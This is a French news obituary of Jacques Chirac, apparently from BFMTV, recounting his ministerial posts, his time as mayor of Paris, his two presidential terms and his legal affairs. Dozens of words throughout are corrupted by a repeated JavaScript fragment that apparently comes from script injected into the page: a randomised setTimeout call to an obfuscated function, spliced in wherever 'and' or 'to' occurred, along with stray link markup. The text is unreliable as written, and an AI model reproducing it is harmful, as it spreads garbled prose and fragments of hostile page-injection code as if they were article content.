FRANCE: L’ancien président Jacques Chirac est mort à 86 ans
Jacques Chirac, qui fut deux fois président de la République, deux fois Premier ministre, et trois fois maire de Paris, est mort après une vie consacrée à la politique.
Jacques Chirac est mort à l’âge de 86 ans, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ande-et-juppe-sur-une-phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to-de-famille-tres-symbolique-847929.html” target=”_blank” rel=”noreferrer noopener”>après près de cinq ans passés loin des caméras. Sa dernière apparition officielle remontait au mois de novembre 2014. Deux décennies après son accession à l’Élysée, il avait quitté la scène politique mais restait dans les sondages le président “le plus sympathique de la Ve République” aux yeux des Français.
Jacques Chirac a passé 12 années consécutives à la tête du pays, entre 1995 et 2007. Deux mdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andats marqués par la fin du service militaire, la fin du septennat, le refus d’intervenir en Irak aux côtés des Américains, la troisième cohabitation ou encore le refus de s’allier au Front national. L’ancien président, fondateur de deux partis politiques de droite, a su faire oublier des facettes plus sombres de sa carrière politique comme le procès des emplois fictifs de la Ville de Paris, l’affaire du financement occulte du RPR ou les années “Françafrique”.
L’ascension du “bulldozer”
Né en novembre 1932 à Paris, Jacques Chirac a suivi des études à Paris et a milité brièvement au Parti communiste. Après son mariage avec Bernadette Chodron de Courcel, rencontrée à Sciences Po, en 1954, ce fils d’un employé de banque devenu cadre dans l’industrie aéronautique, change de milieu social. Diplômé de l’ENA, il devient chargé de mission au cabinet de Georges Pompidou qui le surnommera le “bulldozer”. En 1967, trois jours après sa première élection en tant que député de Corrèze, il obtient son premier poste ministériel: secrétaire d’État à l’Emploi.
En 1972, il est nommé ministre de l’Agriculture et conservera pendant dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toute sa carrière une base élecdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}torale importante parmi les agriculteurs. Deux ans plus tard, il devient le Premier ministre de Valéry Giscard d’Estaing. Mais les relations entre les deux hommes se dégradent vite, Jacques Chirac disposant de peu de marge de manœuvre à son poste et cherchant à mettre la main sur l’UDR, formation hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}torique des gaullistes, afin de tenir tête à un président visant à réunir les différentes composantes centristes. À l’issue d’un été décisif, lors duquel les tensions entre les deux têtes de l’exécutif atteint son paroxysme, Jacques Chirac décide de mettre fin à ses fonctions en août 1976.
“Je ne dispose pas des moyens que j’estime aujourd’hui nécessaires pour assumer efficacement mes fonctions de Premier ministre et dans ces conditions j’ai décidé d’y mettre fin”, déclare-t-il avec éclat.
Quelques mois plus tard, fort de ce divorce franc et net, il crée le Rassemblement Pour la République. Le RPR devient très vite une machine de guerre au service de ses ambitions. Épaulé par ses deux conseillers droitiers Pierre Juillet et Marie-France Garaud, il prend la mairie de Paris en 1977. Ce faisant, il devient le premier depuis Jules Ferry, la fonction ayant été dévolue au Conseil de Paris pendant 105 ans. Jacques Chirac aura été réélu à trois reprises à ce mdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andat. Politiquement, grâce à l’élection de François Mitterrdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and en 1981, il devient le patron incontesté de la droite française, la fondation par Valéry Giscard d’Estaing de l’UDF ne générant pas le souffle escompté. Il s’impose, ce faisant, comme opposant naturel au président socialiste, qui le nommera Premier ministre lors de la première cohabitation, qui s’ouvre avec les législatives de 1986.
Cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidat à la présidentielle de 1988, sûr de l’emporter après son élimination dès le premier dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour en 1981, il ne fera pas le poids face à un François Mitterrdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and ragaillardi par ladite cohabitation. Un rapport de force inégal qui s’illustre de manière éclatante lors du débat d’entre-deux dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tours qui oppose les deux hommes.
“Ce soir, je ne suis pas le Premier ministre et vous n’êtes pas le Président de la République. Nous sommes deux cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidats à égalité (…) Vous me permettrez donc de vous appeler Monsieur Mitterrdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and”, lance-t-il pour tenter de déstabiliser son adversaire socialiste, qui lui répond d’un cinglant et laconique: “Mais vous avez dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout à fait raison… Monsieur le Premier ministre”. Un échange devenu culte.
En amont de l’élection présidentielle de 1995, le maire de Paris doit faire face à un adversaire plébiscité par l’opinion: le Premier ministre RPR de l’époque, Édouard Balladur. Jacques Chirac réussit sur le fil, grâce à une campagne axée sur le thème de la “fracture sociale”, à devancer son “ami de 30 ans” au premier dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour. Il l’emporte ensuite au second face à Lionel Jospin avec 52,6% des voix. Il devient, pour la première fois, Président de la République.
Succès international et impopularité nationale
Avec Alain Juppé comme Premier ministre, il décide d’effectuer une ultime campagne d’essais nucléaires et de mettre fin au service militaire. Au plan international, il s’illustre par un coup de colère contre le service de sécurité israélien qui l’empêche d’aller au contact de la population palestinienne dans dans un quartier musulman de Jérusalem, en 1996.
“What do you want? Me dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to go back dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to my plane dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and go back dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to France? Is that what you want?”, s’écrie-t-il dans une rue de Ramalla. La réplique restera célèbre.
Mais en France, son image est ternie. Les grèves de l’hiver 1995 après l’annonce brutale d’une réforme des retraites du secteur public amènent Jacques Chirac, en bout de course, à dissoudre l’Assemblée nationale un an avant les législatives. Emmenée par Lionel Jospin, la gauche plurielle sort vicdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}torieuse du scrutin anticipé et Jacques Chirac doit subir la cohabitation dès 1997. Durant celle-ci, une révision constitutionnelle majeure, le passage du septennat au quinquennat et l’inversion du calendrier élecdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toral législatives/présidentielle est soumise à référendum. 73% des Français l’approuvent, sur seulement 30% de participation.
En 2002, cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidat à sa propre succession, Jacques Chirac bénéficie de l’élimination du cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidat socialiste au premier dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour, qui lui offre un boulevard pour conserver son siège à l’Élysée. Il affronte au second dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour le leader du Front national Jean-Marie Le Pen, et recueille plus de 82% des voix.
Le mdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andat suivant, premier quinquennat donc de l’hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toire de la République, sera marqué par plusieurs éléments: la canicule de l’été 2003, le refus d’envahir l’Irak aux côtés des Américains, le “plan cancer, les émeutes de banlieue en 2005 et les manifestations contre l’instauration du CPE en 2006. Politiquement, il sera également l’occasion d’une opposition féroce entre le chef de l’État à son plus remuant ministre, Nicolas Sarkozy.
“Je décide et il exécute”, dira de lui le Président de la République en 2004, lors du court passage de Nicolas Sarkozy au ministère des Finances.
Pourtant, c’est bien à l’ancien maire de Neuilly qu’il devra céder la place en 2007. Membre de droit du Conseil Constitutionnel jusqu’en 2010, il se met ensuite en retrait en raison de son état de santé et de ses ennuis judiciaires.
De nombreuses questions dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toujours pas éludées
Le 22e président de la République française a dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toujours refusé autant que possible de répondre aux nombreuses questions sur les affaires ou sur son état de santé. Condamné en 2011 à de deux ans de prison avec sursis dans l’affaire des emplois fictifs de la mairie de Paris, il avait décidé de ne pas faire appel dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout en contestant le jugement sur le fond.
C’est la même année que l’avocat Robert Bourgi – également “Monsieur Afrique” officieux de Jacques Chirac – a évoqué le versement de fonds occultes de la part de chefs d’État africains pour financer la campagne de 2002.
Affaibli depuis un accident vasculaire cérébral survenu en 2005, il était apparu une dernière fois officiellement en novembre 2014, aux côtés de ses “deux fils préférés” – l’ex-Président de la République François Holldom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ande, et Alain Juppé, qu’il avait dans le passé surnommé “le meilleur d’entre nous”. Cette proximité avec l’ancien maire de Bordeaux et l’ex-président socialiste symbolise, d’une certaine façon, l’une des traces politiques que Jacques Chirac aura laissée derrière lui: la transmutation progressive du gaullisme étatiste en coalition de centre-droit plus libérale, marquée notamment par le passage du RPR à l’UMP en 2002.
Jacques Chirac était atteint d’une maladie de la mémoire, une anosognosie qui l’empêchait vraisemblablement d’avoir dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}totalement conscience de son état. En janvier 2014, son épouse Bernadette Chirac avait déclaré penser que son époux ne parlerait plus jamais en public. En juin 2018, l’ex-première dame – également affaiblie – a inauguré une avenue “Jacques et Bernadette Chirac” à Brive-la-Gaillarde, sous-préfecture du fief hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}torique de la chiraquie, la Corrèze.
Source: BFMTV